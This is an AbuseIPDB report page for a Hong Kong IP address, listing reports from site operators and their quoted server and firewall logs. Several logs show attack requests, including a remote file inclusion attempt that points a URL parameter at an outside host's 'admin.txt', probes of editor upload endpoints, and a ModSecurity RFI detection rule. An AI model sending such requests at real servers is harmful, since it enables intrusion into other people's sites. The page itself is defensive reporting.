JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.212.98.26

103.212.98.26

Neutral Activity

146 reports found in our database

0% Low Risk

Abuse confidence score ?

ISP

Asia Pacific Network Information Centre

Usage Type

Data Center/Web Hosting/Transit

ASN

AS45753

Domain Name

apnic.net

Country

🇭🇰 Hong Kong

City

Hoi Fu Court, Yau Tsim Mong District

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

103.212.98.26 has been reported 146 times. The most recent report is from 4 months ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 103.212.98.26:

This IP address has been reported a total of 146 times from 66 distinct sources. 103.212.98.26 was first reported on February 5th 2024, and the most recent report was 4 months ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 xmission.com	2026-04-15 08:36:57 (4 months ago)	Blocked by UFW (TCP on 80) Source port: 23295 TTL: 115 Packet length: 48 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 23295 TTL: 115 Packet length: 48 TOS: 0x08 This report (for 103.212.98.26) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
Anonymous	2024-04-04 14:06:34 (2 years ago)		Web App Attack
🇪🇪 Unwasted	2024-04-01 15:37:20 (2 years ago)	Abusive content scan (abuse_score:>80)	Hacking Brute-Force Web App Attack
🇩🇪 ghostwarriors	2024-03-27 15:50:04 (2 years ago)	Webpage scraping	Brute-Force Bad Web Bot Web App Attack
🇩🇪 ps-center	2024-03-27 15:41:05 (2 years ago)	MYH: Web Attack GET /admin/managefile.asp	Web Spam Hacking Bad Web Bot Web App Attack
🇫🇷 IRISIO	2024-03-27 08:33:27 (2 years ago)	scans/SQL injection/spam posts : 12 queries	SQL Injection Web App Attack
Anonymous	2024-03-27 07:22:35 (2 years ago)	103.212.98.26 - - \[27/Mar/2024:15:22:34 +0800\] \"GET /base/admin/comment.php\?keyword=open\&url=ht ... show more 103.212.98.26 - - \[27/Mar/2024:15:22:34 +0800\] \"GET /base/admin/comment.php\?keyword=open\&url=http://47.93.244.205/admin.txt HTTP/1.1\" 404 48191 \"-\" \"Mozilla/5.0 \(Windows NT 6.1\; Win64\; x64\; rv:66.0\) Gecko/20100101 Firefox/66.0\" show less	Web App Attack
🇪🇸 el-brujo	2024-03-27 05:06:10 (2 years ago)	27/Mar/2024:06:06:08.275527 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ... show more 27/Mar/2024:06:06:08.275527 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 103.212.98.26] ModSecurity: Warning. Pattern match "^(?i:file\|ftps?\|https?):\\\\\\\\/\\\\\\\\/(?:\\\\\\\\d{1,3}\\\\\\\\.\\\\\\\\d{1,3}\\\\\\\\.\\\\\\\\d{1,3}\\\\\\\\.\\\\\\\\d{1,3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "56"] [id "931100"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://47.93.244.205 found within ARGS:url: http://47.93.244.205/admin.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/175/253"] [hostname "www.hostench.eu"] [uri "/base/admin/comment.php"] [unique_id "ZgOpQIyLL2yWtX_J3Wxb3wAAZQg"] ... show less	Hacking Web App Attack
🇺🇸 MHuiG	2024-03-26 04:08:07 (2 years ago)	The IP has triggered Cloudflare WAF. action: block source: firewallCustom clientAsn: 45753 clientASN ... show more The IP has triggered Cloudflare WAF. action: block source: firewallCustom clientAsn: 45753 clientASNDescription: NETSEC-HK Netsec Limited clientCountryName: HK clientIP: 103.212.98.26 clientRequestHTTPHost: blog.mhuig.top clientRequestHTTPMethodName: GET clientRequestHTTPProtocol: HTTP/1.1 clientRequestPath: /base/admin/comment.php clientRequestQuery: ?keyword=open&url=http://47.93.244.205/admin.txt datetime: 2024-03-26T03:15:30Z rayName: 86a3fa01bee010a8 ruleId: 62370dc6b7504b8c983f836ea0faec20 userAgent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0. Report generated by Cloudflare-WAF-to-AbuseIPDB (https://github.com/MHG-LAB/Cloudflare-WAF-to-AbuseIPDB). show less	Open Proxy VPN IP Port Scan Hacking SQL Injection Bad Web Bot Exploited Host Web App Attack
🇵🇱 rafamiga	2024-03-24 06:02:00 (2 years ago)	103.212.98.26 - -[24/Mar/2024:06:23:07 +0100] "POST /pay/index/pay_callback.html HTTP/1.1" 404 118 " ... show more 103.212.98.26 - -[24/Mar/2024:06:23:07 +0100] "POST /pay/index/pay_callback.html HTTP/1.1" 404 118 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" "103.212.98.26" "HK" 103.212.98.26 - -[24/Mar/2024:06:23:08 +0100] "POST /pay/index/pay_callback.html HTTP/1.1" 404 118 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" "103.212.98.26" "HK" 103.212.98.26 - -[24/Mar/2024:06:23:09 +0100] "GET /base/admin/comment.php?keyword=open&url=http://47.93.244.205/admin.txt HTTP/1.1" 404 47 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" "103.212.98.26" "HK" show less	Port Scan Hacking
🇫🇷 www.unitiz.com	2024-03-24 04:40:07 (2 years ago)	Probing non-existent URLs	Bad Web Bot Web App Attack
🇩🇪 ghostwarriors	2024-03-24 02:20:03 (2 years ago)	Attempts against non-existent wp-login	Brute-Force Web App Attack
🇩🇪 expandmade.com	2024-03-23 12:46:46 (2 years ago)	trolling for installation vulnerabilities [23/Mar/2024:12:46:46 "GET /pay/index/pay_callback.html"]	Web App Attack
🇩🇪 expandmade.com	2024-03-23 06:33:24 (2 years ago)	trolling for installation vulnerabilities [23/Mar/2024:06:33:24 "GET /pay/index/pay_callback.html"]	Web App Attack
🇫🇷 geot	2024-03-22 13:46:16 (2 years ago)	GET /assets/ueditor/net/controller.ashx?action=catchimage HTTP/1.1 GET /App_Code/net/controller.ashx ... show more GET /assets/ueditor/net/controller.ashx?action=catchimage HTTP/1.1 GET /App_Code/net/controller.ashx?action=catchimage HTTP/1.1 GET /admin/Core/controller.ashx?action=catchimage HTTP/1.1 GET /Content/scripts/plugins/ueditor/utf8-net/net/controller.ashx?action=catchimage HTTP/1.1 show less	Web App Attack

Showing 1 to 15 of 146 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇦 212.104.215.117

🇳🇱 193.47.62.167

🇵🇰 182.183.179.166

🇺🇸 172.56.156.124

🇿🇦 165.165.95.173

🇵🇰 153.117.40.136

🇫🇮 147.185.133.136

🇨🇳 120.48.53.174

🇸🇬 118.194.234.29

🇺🇸 20.127.207.95

🇷🇴 2.57.121.112

🇺🇸 2607:f8b0:4001:c6e::123

🇺🇸 195.184.76.219

🇬🇧 185.39.19.173

🇺🇸 172.253.15.224

🇨🇳 106.75.29.251

🇦🇴 105.174.17.50

🇷🇺 91.189.232.3

🇭🇺 85.235.93.171

🇫🇷 85.217.140.13